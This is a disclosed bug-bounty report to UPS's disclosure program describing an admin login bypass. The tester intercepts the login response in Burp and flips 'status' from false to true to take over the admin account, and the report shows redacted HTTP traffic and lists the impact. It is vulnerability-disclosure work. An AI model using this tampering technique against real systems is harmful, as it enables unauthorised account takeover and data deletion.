UPS VDP · Report #1490470
Admin Authentication Bypass Lead to Admin Account Takeover
Validstatus
mediumseverity
106upvotes
20 Jun 2022disclosed
How it was found
Hello Team
I found that i can bypass the login page of the Admin account by intercepting the respone of the login request of █████ subdomain and change status from false to true
Steps To Reproduce:
- Open
████ - Enter
Adminas a Username and███as a password
█████
- Press log in and Intercept the request in Burp
POST /api/Account/Login/ HTTP/2
Host: ███████
Cookie: ███
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 38
Origin: ████████
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"UserName":"██████","Password":"██████████"}
- Intercept the response for this request in Burp by >>
Do Intercept >>Response to this requestand then Forward this request - Change
statusvalue fromfalsetotrueand Forward the request
HTTP/2 200 OK
Cache-Control: no-cache,no-cache,no-store
Pragma: no-cache,no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server:
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains;preload
X-Frame-Options: DENY
X-Ua-Compatible: IE=Edge
Content-Security-Policy: script-src 'self'; object-src 'self'; frame-ancestors 'none'
Expect-Ct: enforce, max-age=7776000, report-uri='███-Allow-Origin: ██████-Allow-Headers: Accept, Content-Type, Origin
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: ████ ██████ GMT
Content-Length: 71
{"status":true,"errorMessage":"Username and Password does not match."}
- Now open
Report,Change PasswordandProcess Returnand then Turn off the intercept of the Burp
██████████ █████████ ███████
Supporting Material/References:
POC Video
█████████
Impact
The attacker can
- login as an ██████ by bypassing the authentication
- change the ███ password to takeove the ███ account
- View the company's reports and delete them [1066 Report]
- View processReturn